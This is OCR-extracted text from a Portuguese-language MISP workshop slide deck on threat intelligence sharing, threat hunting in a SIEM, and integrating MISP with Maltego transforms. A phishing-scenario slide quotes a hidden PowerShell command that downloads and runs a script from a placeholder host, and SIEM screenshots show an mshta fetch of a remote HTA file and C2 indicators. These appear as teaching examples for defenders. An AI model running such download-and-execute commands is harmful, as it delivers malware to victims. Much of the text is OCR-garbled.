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Csoares@localhost:~#Whoami

Analista de Seguranca da Informacao;

Graduado em Redes Computadores;

Pos em Redes Computadores;

Pos em Ethical Hacking CyberSecurity;

Pos Forense Computacional;

Pos Graduando Threat Intelligence and Hunting;
Perito Forense Computacional;

Hardware Hacking | Biohacking | Blue & Red Team

Atuacao ativa nas comunidades:

@owasﬁ (/ > :’5 &€ D GDG Belém

E em
DEVs Norte SOCBRAZIL




Alguns artigos

eForensics

F -

MagAzINE
gy QM \

DiGITAL FORENSICS
STARTERKIT

BEGINNERS GUIDE
AN OVERVIEW OF DATA EXTRACTION TECHNIQUES

FROM MOBILE PHONES

Using MaLTEGO AnD MISP
FOR INCIDENT HUNTING AND INVESTIGATION

VOL.10 NO.05
ISSUE 05/2021 (109) MAY
ISSN 2300 6986

7° Workshop MISP

HaRIN

<

o L .

| PRACTICAL PROTECTION SECURITY MAGAZIN
__'— VOL.16, NO. 13

HACKERS TO HACKERS CONFERENCE

21 ANOS

TARGETED PHISHING
ATTACKS

SpeAR Pristing: WHar Wil Maxe Them Cuck?

SMISHING - PrisHiNG Atracks THroUGH TexT MessaGes

B

REVISTA BRASILEIRA DE

CRIMINALISTICA

MALWARE FORENSIC
ANALYSIS

e

Mawware IN FOReNsiC CoNTEXT

IPED, an AMAZING TooL 10 ANALYZE A Disk IMAGE
ArPLYING ZERO TRUST PRINCIPLES TO CRITICAL CONTROLS
REVERSING MALWARE ANONYMOUSLY

Freery DisTrisutep Open Source Imace Forensics Toos

%L AND WIORE..

TLP:CLEAR

@Mor‘ensics

a g azil n e
MagazINE

MosiLE FORENSICS
STARTER KiT

/

Diaimaw INvesTiGanion Process iIN MosiLe Devices

CONDUCTING FORENSIC ANALYSIS IN MOBILE DEVICES

ICS CYBERSECURITY
LANDSCAPE
_ B R
BuiLoing INTumon iNTo MonmoriNG FOR OT/ICS

InpusTRIAL CONTROL SYSTEM

ICS Securimy: WHar's Nexr

ICS Cveersecurmy, ENDURING "THE PERFECT STORM”

WiFi DeauthenmicaToR Atrack wiri ESP8266

03/2022 ISSN 2084-1117



TLP:CLEAR

Livros publicados

JOAS ANTONIO DOS SANTOS
DEIVISON PINHEIRO FRANCO
CLEBER SOARES

N\
NN

FRONTEIRAS
DACIENCIA .. |

“MA AB“H“AGEM Pnnn coletaneadedebates @ = @« . . o|s .

interdisciplinares .
| PemSTIST TS i Sl DIGESTO

..... : A REVISTA JURIDICA DO ISM — INSTITUTO SILVIO MEIRA
""" “TEMAS DE DIREITO DIGITAL ETECNOLOGIA”

Adaiton Anevedo Ataino Fitho

PREFACIO APRESENTAGAO
Rodrigo Rubira Branco Paulo Trindade Cunha
(“BSDaemon") (“PA")

52EDICAO

+ EM HOMENAGEM POST MORTEM A LUIZ PAULO MALCHER

L’-EJ Coordenadores

: ANDRE AUGUSTO MALCHER MEIRA
DIALETICA FLAVIA CHRISTIANE DE ALCANTARA FIGUEIRA
MARINA ANDRADE DA GAMA MALCHER GATO

7° Workshop MISP



TLP:CLEAR
MISP

Plataforma de codigo aberto capaz
de suportar TODAS as etapas de
Cyber Threat Intelligence.

Coletar Armazenar Enriquecer Correlacionar Analisar Disseminar Compartilhar

ISO/IEC Decreto
27010:2015 n°12.573/2025
Art. 8° - Incentivo
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Governamental \ l

MISFJ

Threat Sharing

Portuario Financeiro

8
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MISP MISP

Threat Shari o Threat Shaging

Saude Educacional

MISFJ

Threat Sharing
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MISP no Brasil. TLP:CLEAR

C ABBC _ Petrobras abre plataforma para < C @ O nups/wwwgovbrcisc/ptbr/etias-a-service/misp
(iﬁ C = compartilhar dados sobre seguranca
Clbernétlca Orgaos do Governo  Acesso aInformacdo  Legislacdo  Acessibilidade

ACONTECE AQUI (3 22/03/2024

ABBC lan¢a a sua instancia MISP

= Centro Integrado de Seguranca Cibernetica do Governo Digital 0 que voc

a ETIR as a Service MISP (Malware Information Sharing Platform)

A plataforma servird como um hub, compartilhando informagoes sobre ataques cibernéticos para as
instituices financeiras representadas pela Associagdo

MISP (Malware Information Sharing Platform)

Publicado em 11/12/2022 19h02  Atualizado em 23/12/2022 09h27

Ana Paula Lobo ... 25,

.. Convergéncia Digital

O 5G e a seguranca cibernética estdo no topo das prioridades da indistria de petréleo e

J gas aﬂrma a gerente de tecnologia e lnovacao da IBP Mehssa Fernandez A empresa éz
‘ Niicleo de Informagéo & Coordenagio do Ponto BR P e nglish
n [ CGl.br - NIC,br - Registr.br - CERT.br - CETIC.br - CEPTROQ,br - W3GC.br
Vocé esta em: CERT.br > MISP CERT.br
= )
y nenCTI MISP CERT.br
7

¥ Sobre o CERT.br O MISP (MISP - Open Source Threat Intelligence Platform) é tanto uma plataforma de software livre para compartihamento de dados de inteligéncia de ameacas,

} CSIRTs quanto um conjunto de padries abertos para compartiihamento destas informagdes.

} Estatisticas O CERT.br tem incenlivado o uso de MISP para 1P deir de ameagas na de CSIRTs brasileiros como uma forma de

automatizar este processo, utilizando uma plataforma aberta, gratuita e amplamente utilizada pela comunidade internacional
Centralizamos e as DI {amente em Um ambiente projetado para ¥ Cursos
ameagas reportadas por diferentes 10550 repositorio no Github, automagao de andlise de malware em » Projet Nesta pdgina estdo disponiveis os seguintes contetdos:
o s O NP iamers informagdes de ameagas clbernéticas grandes quantidades, Tojetos
Information Sharing Platform) o formsto Threat feecs » Publicagdes Workshops MISP promovidos pelo CERT.br

A ABBC - Associacao Brasileira de Bancos colocou em operacdo em marco a sua instancia MISP - ¥ Palostras Passo-a-Passo de Instalagio e Configuragio da uma Instincla MISP

» Links « Passo-a-Passo de Instalagao de MISP em um Sistema Ubuntu
Malware Information Sharing Platform, um hub para o recebimento e compartilhamento de »FAQ + Passo-a-Passo de Configuraga e Operagao de Uma Insténcia

= Conceitos Importantes a Destacar
H _ i A i . . » Mapa do site
informagoes sobre ameacas cibernéticas, ataques e fraudes ocorridas nos ambientes tecnoldgicos das ) Contato « Sincronlzaco de Instinclas MISP
(Y 1A G 2 . z . = Resumo comparativo entre sincronizagio push e pull
instituicoes financeiras representadas pela ABBC e com conexao a outras infraestruturas de mercado, ULLT o Compartihamerro & Distribulcio de Evantos
Nossa rede de monitoramento e Alertas, anélises e relatrios periédicos Para colaborar com sugestdes ou criticas, “RsS
como os MISPs homologados no setor - Febraban e Cert.Br - entre outros. detecces de ameacas atravs ce ue destacam 3 principals ameagas  envie um e-mall para nfo®opencinetbe
honeypots esta aberta para receber em atividade no Brasil.

- L I ita do Nicrueein MISP.RR
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Compartilhamento: a vantagem do cibercrime TLP:CLEAR

Atacantes Instituicoes

_ N Investigacao isolada
Compartilham Informacoes
I% Pouco compartilhamento
Compartilham Ferramentas

@ Compartilham Cédigo Reposta lenta

ifi roim
Adaptam e Evoluem Rapidamente Dificuldades para entender o impacto

7° Workshop MISP



© Break new

Volume de ciberataques cresce e desafia
resposta das empresas no Brasil

'_a. ADRIANO CAMARGO 27 DE MARCO DE 2026 | 18:05

Pesquisa CISO Brasil 2025 mostra alto volume e sofisticacao dos
ataques, baixa adoc¢do de EDR, XDR e SIEM e falhas na resposta a
incidentes

7° Workshop MISP

Ataque de ransomware a fornecedor

paralisa sistemas e impacta hospitais
na Holanda




@ Tudo comega com uma campanha...

UL Campanha
R LR "B T N8 aparece
relatorio urgente 2025.zip
1,1 MB - zip
& RELATORIO URGENTE 2025 Z|P

Segue em anexo o relatério solicitado
pela diretoria.

Por questdes de seguranga e
formatacado, o documento esta
compactado.

Para visualizar o conteido completo,

powershell -W Hidden -EP Bypass -NoP -C
"[Net.ServicePointManager]::SecurityProtocol=[N

f download e ab
g e < / $) VBS BRI ST
. ATENGAO: ([scriptblock]::Create((New-Object
Este arquivo contém informagdes M Net.WebClient).DownloadString(‘https://x.yz')))"
importantes e deve ser tratado com i
confidencialidade.
Qualquer duvida, estou a disposigao. 10:56 _
0 Downloader
- € Y =]

7° Workshop MISP



CTIl transforma dados em inteligéncia

TLP:CLEAR

r FONTES DE INTELIGENCIA \
\

n s B8 ® < B Y% | 3
== agme @ 4 ‘ i§>
Relatérios Comunidades Atores de Threat Feeds 10Cs Amostras de E-mails, spam, Outras fontes ) HONEYPOTS

publicos e foruns ameaca e OSINT compartilhados malware mensagens (parceiros, clientes) | Interagdes, ataques,
bindrios e I0Cs
\ J
ﬁ AMOSTRA OBTIDA
I (de diversas fontes) 1
s : p
ANALISE MANUAL SANDBOX AUTOMATIZADO
(Estatica e Dinamica) \ (Detonagdo e Observacgao)
Q@ E = A T =
— \ \r/ Cuckoo3 CAPE
Anilise Estitica  Andlise Dindmica  Engenharia Reversa Cu Anilise dindmica Andlise dindmica
Strings, cabegathos, Execucdio controlada, Descompilagdo, ; uckoo” automatizada avangada
assinaturas, cédigo, comportamento, desmontagem, |
recursos, etc., processos, rede, etc. reconstrugao de légica. l
\_ C 3 | \ S y
4 y ¥ ¢
i EXTRACAO DE ARTEFATOS
s
: § Chaves de D Certificados MITRE
i j @ g:tm e ﬂ Ktmies @f_?] Registro a eArquives  ATT&CK' ‘
, & J
g N
EVENTO MISP 2221
> Inteligéncia estruturada e contextualizada MISP
L Threat Sharing A
<

=

COMPARTILHAMENTO
Inteligéncia disponivel para as equipes e parceiros
(SOC, Threat Hunting, IR, e outras)

%




A pergunta é...

Sera que fomo
comprometidos?

(&) Trewat Hunting

& VWinerabives
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Threat Hunting
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INTELIGENCIA

2@ &

Relatérios
publicos

Threat Feeds
e OSINT

Honeypots

Comunidades
e foruns

Lé os relatérios, alertas publicos,
feeds, honeypots e outras
fontes de inteligéncia.
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CRIAGAO DE 9 INVESTIGACAO 9 ANALISE E
HIPOTESE CORRELAGAO

— — .nlq —

EVENTOS CORRELAGOES

“Essa campanha

pode estar presente ). Download

no nosso ambiente?"” @) B LINHA DO TEMPO CONTEXTO
‘1) Beacon

(¢/2) Comunicagio externa

% Host encontrado

O analista |é os relatérios e alertas Busca proativa por COMPORTAMENTOS Analisa e correlaciona eventos,
e forma uma hipotese. relacionados a hipotese, identifica evidéncias e
nunca por |OCs. entende o contexto.

Framework Tahiti n
MISP

Threat Sharing



Hunting — Evento no SIEM ‘@ TLP:CLEAR

Dashboard Events
Q.  sorvetenopoate.com DQL v Last 2 hours
manager.name: soar X Y ® Add filter

1

0.8
t 06
3
0
O 04

0.2

0

14:00 14:05 14:10 14:15 14:20 14:25 14:30 14:35

timestamp per minute

2 hits
Jul 27, 2026 @ 13:57:55.843 - Jul 27, 2026 @ 14:57:55.843

M, Export Formatted C Resetview [@ 802 available fields & [l Columns = Density ¢ fieldssorted [ Fullscreen
4 timestamp data.win.eventdata.commandLine data.win.eventdata.user

@ Jul 27 2026 @ 14:13:29.978 C:\WINDOWS\\system32\cmd.exe" /c echo User=CORP\Tereza Process=wscript.exe

DESKTOP-MVOF2TE\Tereza
C2=sorvetenopoate.com IP=203.0.113.55 Port=8080

"C:\WINDOWS\\system32\cmd.exe" /c echo User=CORP\Tereza Process=wscript.exe

@ :02:31.
5 MI272026@4:02:54.2067 C2=sorvetenopoate.com IP=203.0.113.55 Port=8080

DESKTOP-MVOF2TE\Tereza



Hunting — 2° evento no SIEM @

Dashboard Events

Q = 198.51.100.42 DQL v Last2hours v

manager.name: soar X Y + Add filter

gll  Events per minute

1
0.8
0.6

Count

0.4
0.2

0

14:05 14:10 14:15 14:20 14:25 14:30 14:35 14:40 14:45

timestamp per minute

1 hit
Jul 27, 2026 @ 14:02:29.193 - Jul 27, 2026 @ 15:02:29.193

M Export Formatted C Reset view [@ 802 available fields () [H Columns = Density $ 1fieldssorted [ Full screen

4 timestamp data.win.eventdata.commandLine data.win.eventdata.user

"C:\WINDOWS\system32\cmd.exe" /c echo User=CORP\Tereza Process=wscript.exe
(@ Jul 27,2026 @ 14:02:31.357 DESKTOP-MVOF2TE\Tereza
C2=sorvetenopoate.com IP=198.51.100.42 Port=443



Maltego

@ B o
Vv  Investigate

IEi

MNew

Entities

Start Page Maltego Data Hub

8 MALTEGO GRAPH

NEWS

15.07.2026 Build Custom
Transforms with the
Maltego Transforms SD

With the new Malt

L

Instalacao x Dificuldades

Maltego Graph (Desktop) 4.9.2 - Basic

Collections Transforms Machines

Priv lode

Normal W

Find in

Maltego Data Hub

Maltego Graph (De: til 25 Aug 2026

by ThreatMiner

‘ﬂ‘p _ThreatMiner

Query and pivot on data from ThreatMiner.org.

STIX 2 Utilities
! by ANSSI & Maltego

STIX

Entities and utility Transforms for working with STIX
21

Identify sanctions targets, politicians and persons of
interest.

7° Workshop MISP

Collaboration

Import | Export

Host.io
by Host.io

J

Enrich Domains with outbound links, backlinks, DNS
information, location, and more.

#% PeeringDB
by Maltego Technologies
[ ¥ q 9

Delve into global interconnection data using
PeeringDB.

AbuselPDB
by Maltego Technologies

Find and report abusive IP addresses.

For ATT&CK visualization no MISP API keys are reguired

This set of Transforms is open source and can be
= IFANSTOrm INputs

i Please read the disclaimer before using the Tranfie SRR =R r-r V(=]
B [JI5
If you are not yet a member of a MISP communit

MISP Server URL
Contact

https:fwww.misp-project.orgl

info@misp-project.org

View Certificate
TCK ATT&CK - MISP
by MISP Project
ISP

Query data from MISP. Pivot on MITRE ATT&CK
Intrusion 5ets, Techniques, Tools and more.

Settings

TLP:CLEAR

galaxies. It also permits visualization of the full MITRE ATTE&CK framework, the MISP Galaxies, and much mor

{leave emptv). For more information check out htto!

Transform Seed Settings

X

https:/ifgdn
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Maltego : Criando um novo transforme

N

r

@ 1. CONFIGURAGAO

a oy | Armazena as informacdes
) | de conexido com o MISP

MISP_URL=https://IP-DO-MISP
MISP_KEY=CHAVE_API|
MISP_VERIFY_SSL=false
MISP_TIMEOUT=30
MISP_MAX_RESULTS=100

—

@ 2. CLIENTE MISP

misp_client.py

Responsavel pela comunicagdo com
a API do MISP utilizando PyMISP

« Autenticagdo

+ Teste de conexdo

* Pesquisa de atributos

+ Consulta de eventos

- - -~

* Retorno de atributos, contexto, tags

</> 3.HELPERS (LOGICA)

Mapeamento de tipos de
atributos MISP para entidades
nativas do Maltego

common.py

Légica de busca de IOCs

search_helper.
= per-py e criacao dos eventos

Logica de expansdo de eventos
e conversdo de atributos

expand_helper.py

Estrutura do projeto

B misp-maltego-local/

‘— @@ bin/
1 misp-maltego-local

‘— @B transforms/

_init__.py
common.py
search_helper.py
expand_helper.py
SearchlIPv4.py
SearchDomain.py
SearchURL.py
SearchHash.py
ExpandEvent.py
ExpandNetworklOCs.py
ExpandFilelOCs.py
ExpandEmaillOCs.py
+— BB scripts/

[@) test_misp.py
test_search.py

) validate_installation.sh

— @@ assets/
misp-icon-16.png
misp-icon-48.png
misp-icon-64.png
misp-icon-96.png
misp-icon-128.png
misp-logo-official.png

- I% .env.example

() README.md

- [) CHANGELOG.md
@ requirements.txt

= E] project.py

- E] extensions.py

- @ misp_config.py

- @ misp_client.py

= Ej install.sh

- [% update.sh

= @ uninstall.sh

Script Instali

=== Configuracao do MISP ===
URL do MISP (ex.: httns://192.168.1.10): ‘https://10.200.45.10
APT Key do MISP:| XXXXXXXXXXXXXXXXXXXXXX;

Validar certificado SSL? (y/n): n
Requirement already satistied: pip in /opt/misp-maltego-local/.vs
kages (24.0)

Fonte - https://docs.maltego.com/en/support/solutions/articles/15000019514-add-maltego-trx-transforms-to-maltego-desktop-client-via-itds#steps-to-add-local-transforms-to-the-itds-0-1



Malte

STEPS

1:

Configure details

Command line

go : Configuracoes

Local Transform Wizard

Command

Command (e.g. /usr/bin/perl)

Jopt/misp-maltego-local/.venv/bin/python

Browse...

Parameters (Optional) (e.g. scripts/transform.pl)

project.py local searchioc

Browse...

Working directory

Jopt/misp-maltego-local

Command line to be executed (in working directory):

Browse...

/opt/misp-maltego-local/.venv/bin/python project.py local searchioc "Entity Value"
"field1=field1 value#field2=field2 value"

Cancel

2.

New Entity Wizard (Basic)

Basic Information

Main Property
Basic Information

Display name
(This name will be used in the Entity Palette)

Short description

(This description will also be showed in the Entity Palette)

Unique type name yourorganization.

(e.g. paterva.infrastructure.EmailAddress)

Category

Inheritance
. Base Entity
Icons

Large icon (48 x 48) Browse...

Small icon (16 x 16)

i Display name is required

TLP:CLEAR

Browse...

Fonte - https://docs.maltego.com/en/support/solutions/articles/15000019514-add-maltego-trx-transforms-to-maltego-desktop-client-via-itds#steps-to-add-local-transforms-to-the-itds-0-1



Lo B=R=) - = Maltego Graph (Desktop) 4.12.0 B

Vv Investigate View Entities Collections Transforms Machines Collaboration Import | Export Windows TLP:CLEAR
% % I I B (%3 Run View
®

Maltego Transform  New Local Certificate Manage
Data Hub Manager Transform... Manager Services

New Graph (1) * X

Layout

a

4"1"5

i

i

24 ™
MISP

MISP Event 1: Campanha APT 84

etenopote.com

gate2gktzdnef3dhbscpdiloibo2xyo... apithuy.top

log Inpuiuk9emi069ppyicqondilpgd. . gui.thuy.top ss0.thuy.top




Threat Hunting — Nova Busca com IOCs Correlacionados TLP:CLEAR

Dashboard Events

Q. 140.99.164.81

DQL L% Last 2 hours Vv

manager.name: soar X Y + Add filter

oll Events per minute

1

0.8
)
£ 0.6
o
O 04
0.2
0
13:15 13:30 13:45 14:00
timestamp per minute
1 hit
Jul 27,2026 @ 13:09:51.269 - Jul 27, 2026 @ 15:09:51.269
T

T, Export Formatted C Reset view [@ 802 available fields & M Columns = Density { 1fields sorted

4 timestamp data.win.eventdata.commandLine

(@ Jul 27,2026 @ 14:03:12.204 "C:\\Windows\\System32\mshta.exe" http://140.99.164.81\update.hta

14:15 14:30

[A Full screen

data.win.eventdata.user

DESKTOP-MVOF2TE\\Joao
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Integracao entre CTI, Threat Hunting e Resposta a Incidentes

Threat Hunting

$

Sandbox

¥

Maltego Retroalimenta

Pivoting * Visualizacao * Correlagao

‘ * Novos IOCs

Inteligéncia Enriquecida * Novas TTPs
(I0Cs + Contexto + TTPs) * Novas Deteccoes
¥

Threat Hunting Incident Response Detection Engineering Purple Team

7° Workshop MISP



Visao geral das funcionalidades do MISP.

MISP + Maltego = Reacao (IR)

E/

MISP + Firewall = Protecao

Vi

7° Workshop MISP

u,
|\~

TLP:CLEAR

MISP + Vulnerability Management = Prevencao

X

MISP + IDS/SIEM = Monitoracao/Detecao

0210

c

J\III

22



Visao geral das funcionalidades do MISP. TLP:CLEAR

MISP + TheHive/Cortex MISP + OpenCTI =
= Investigacao automatizada Plataforma unificada de intelgéncia

—
- 3
—

MISP + SOAR (ex: Shuffle, MISP + Cloud Security

Phantom, Cortex XSOAR) = (AWS GuardDuty / Azure Sentinel
Resposta automatizada | Google Chronicle)

O

» 0

7° Workshop MISP



Algumas Referéncias TLP:CLEAR

RESPOSTA A fratado/de oo ot

24
S v INCIDENTES Computacao Forense ;
Threat Intelligence and e HESPOST" n :
Data-Driven Threat Hunting DE SEEURANEA ‘ : I“cln TES g CYBE&R RISK
e ‘ EM COMPUTADORES Fla¥C T SRS E“ i | e
——== : : ” PLANDS PARA PROTEGAD DE INFORMAGAD EM RISCO . s G|BEH“ETIGOS y c:;p:;z::::g:::ﬂ,
2 - 2 ' ) 4 SV ,,,,”." fo : Fos - ) UMA VISAO MULTIDISCIPLINAR g L 3
N | 33. au . % 2
.l K. McCARTHY g
=
‘alentina Palacin - @

 https://www.misp-project.org/
 https://www.maltego.com/misp
* https://github.com/MISP/MISP-maltego

7° Workshop MISP



TLP:CLEAR

Duvidas?

Obrigado!!!

@ clebersoares_sec

Cleber.soares@owasp.org

7° Workshop MISP
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